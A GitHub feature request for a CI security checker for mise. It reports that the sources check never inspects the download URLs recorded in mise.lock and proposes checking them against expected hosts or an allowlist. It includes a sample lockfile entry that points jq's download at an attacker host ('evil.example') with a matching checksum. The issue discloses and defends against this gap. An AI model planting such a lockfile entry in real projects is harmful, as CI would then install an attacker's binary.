Repository navigation
Description
Is your feature request related to a problem? Please describe.
Follow-up of #254, found in the security review of the sources check (PR 3 of #254, branch feature/254-mise-sources).
The sources check judges where a tool comes from by its backend (aqua:jqlang/jq, core:node, ...) and by the config options and settings that redirect fetching. It never looks at the download URL that mise.lock records for each platform, and that is the URL mise install --locked downloads.
So a pull request can keep an authorized backend in mise.toml and only edit the lockfile:
# mise.toml
[tools]
"aqua:jqlang/jq" = "1.7.1" # aqua:* is authorized
# mise.lock
[tools."aqua:jqlang/jq"."platforms.linux-x64"]
url = "https://evil.example/jq"
checksum = "sha256:<hash of the evil binary>"ISSUE-1021, ISSUE-1022 and ISSUE-1023 all pass. The checksum proves nothing here: it comes from the same file as the URL. The lockfile check passes too, since the entry has a URL and a checksum.
Describe the solution you'd like
Judge every locked platform URL (tool.locked.platforms[].url, already in the IR) under the sources check, with a new code in the sources block (next free after ISSUE-1023).
Two ways to decide what is allowed, to settle at implementation:
- An expected download host per backend:
github.comreleases of the named repository forgithub:, the URL template of the aqua registry entry foraqua:,nodejs.orgforcore:node, and so on. Precise, but it needs a table per backend and drifts with mise. - An allowlist of download hosts in the config (for example
mise.sources.authorizedDownloads, URL globs). Simple, but users have to listhttps://github.com/*,https://nodejs.org/*and the rest themselves.
A locked URL that authorizedRegistries already allows (an internal mirror) should pass either way.
Configuration in .plumber.yaml
mise:
sources:
enabled: true
authorizedSources: ["core:*", "aqua:*"]
authorizedRegistries: []
# authorizedDownloads: ["https://github.com/*", "https://nodejs.org/*"] # if the allowlist option is chosenWhy It's Valuable
mise install --locked is the recommended way to install in CI, and the lockfile is the file reviewers read least. Without this, the sources check can be bypassed by a lockfile-only change.
Activity
feat(control): mise-en-place control: lockfile, versions, sources and…
chore(release): 0.7.27 [skip ci]